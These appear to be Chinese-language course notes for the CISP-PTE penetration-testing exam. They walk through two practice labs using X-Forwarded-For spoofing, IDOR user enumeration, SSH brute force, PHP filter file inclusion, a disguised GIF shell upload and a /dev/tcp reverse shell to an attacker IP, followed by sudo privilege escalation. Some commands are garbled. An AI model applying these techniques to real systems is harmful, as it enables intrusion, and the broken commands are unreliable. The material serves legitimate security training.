CISP - PTE 天融信培训
[toc]
11.3 上午场1 - Me and My Girlfriend
- netdiscover
- 现在一般直接告诉你地址;如果告诉了 有用户名密码,直接 ifconfig
- 用 nmap 扫端口 nmap -p- -A;用 御剑 等2-3个扫目录
- 默认有 robots.txt
- 打开 网址的 80 端口
- 能扫出来的目录,一定要访问一下
- 80 没信息,只说允许本地用户访问
- robots 里有一个地址,打开看一下,只是提示你发现一个端倪,pass
- config.php 看不到,里面有我们想要的东西。转而看3306端口没开
- misc里的 process.php 也看不到,无信息
- 然后看 nmap 扫描到的敏感信息和端口
- 发现看了 22 和 80
- 攻击 ssh 端口就是爆破或者漏洞,一般的版本无漏洞
- 现在信息用不到,端口 22 没字典,至少有用户,也走不通
- 只能从 80 端口入手
- 既然80说了本地登录,需要更改请求头 x-forward-for
- 修改每次请求,加上 x-forward-for
- 位置是 proxy-options-match and replace
- 点击 add 。在 replace
X-Forwarded-For:localhost - 然后进入页面,发现网页的结构 ?page=index
- 发现可以修改,试一试 SQL 注入 和 本地包含,但是没有
- 那就先注册一个用户,然后登录进去;有一个 user_id=12
- 可能有 SQL 注入
- F12. 发现把 input 的password 属性删除,就可以看到自己的用户名,密码
- 观察 id =12
- 有可能前面有 11 个用户
- 变成 1 发现跳转到了不同的用户上
- 利用 bp 的Intruder 爆破一下
- 综合开放的端口,ssh 有这几个用户,也就是有了字典
- 也可能利用端口映射
- 建两个文档,记录用户名密码
- 得到6组用户名密码
- 使用工具包中的 SNETCracker 进行爆破
- 发现有一个 alice
- 使用 XShell 连接
- 提权,找 cd /var/www/html 有可能就找到 key 了
- 或者 cd config/
- cat config.php
- sudo 提权,一般会使用一个脚本,LinEnum.sh(但是实际不给,所以只考简单的提权,suid 和 sudo)
- 先传文件
- python2 -m SimpleHttpServer 建一个简单的http 服务
- 然后从这里拉过来
- 使用 tmp 有写权限
- cd /tmp/
- ls -alt /tmp
- wget http://192/168.100.146:800/Linum.sh
- 给执行权限 chmod linum.sh
- 执行权限 ./LinEnum.sh
- 找橙色字体的信息, 有一个 + 号,php 不用密码,sudo 提权
- 在kali 监听端口 nc -lvvp 10086
- 在靶机上 vim 1.php
- & /dev/tcp/192.168.100.134/10086 0>&1'"); ?>
- 因为 php 不用密码 所以 sudo php 1.php 进行会话反弹
- 在kali 一看,id 发现是 root
11.3 上午场2 - pwnlab
[toc]
用 netdiscover 看一下 IP
同时用 nmap 和 目录扫描一下
同时看一下主页
端口有 80 111 3306 33379
开放 http 服务的一定要先访问一下
注意到 3306 如果有账号密码可以登录
又发现目录中有 config 如果可以得到数据库信息 - 第一种思路
80 端口有 登录 和 上传 ,上传马 -第二种思路;但是需要登录上才行
目录都看一下,没有什么信息
在 upload 处,发现是 ?page = file://././config.php,尝试利用 php 伪协议上传(datatextpain;phpinput;filter)
```
?page=php://inputpost data:
1
2
3
4
* ```
?page=php://filter/convert.base64-encode/resource=config.php
// 已知有 config index login upload;最想读用户信息,尝试 config没消息,但是看地址栏结构,发现不带 php,去掉后缀,发现读到了 config 的源码,使用 bp 对base64 解码
发现了数据库的用户名密码
在 login试一下,发现不是页面的
用 navicat 打开数据库
查看其中的user表,看一下用户
转一下密文base64
发现登录上了,可以传东西了
因为有 upload 源码,我们使用白盒看规则(没有就黑盒)
```html
?page=php://filter/convert.base64-encode/resource=upload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
* 转码看源码
* 有 getimagesize 看文件头,有白名单,只允许传图片,检查了mime类型;目录是md5值重命名的
* 这里使用反向(反弹shell),也可以正向连接
* 找到 shell.gif, 头加上 GIF89a,传上去
* F12,看传到的路径
* 看一下是不是page 包含,加.. 发现不行(kali也要用 nc -lvvp 10086 监听)
* 看其他的源码,login
* 发现包含了 config.php
* 看index.php
* 有一个 include,通过page传值
```php
include($GET['page'].".php");还有一个
1 | include("lang/".$COOKIE,['lang']); |
发现是 cookie 传入的
使用 bp 抓包,在cookie 处传值
Cookie: lang=../upload/xxxxx.gif这时kali就得到了一个会话
接下来是环境变量提权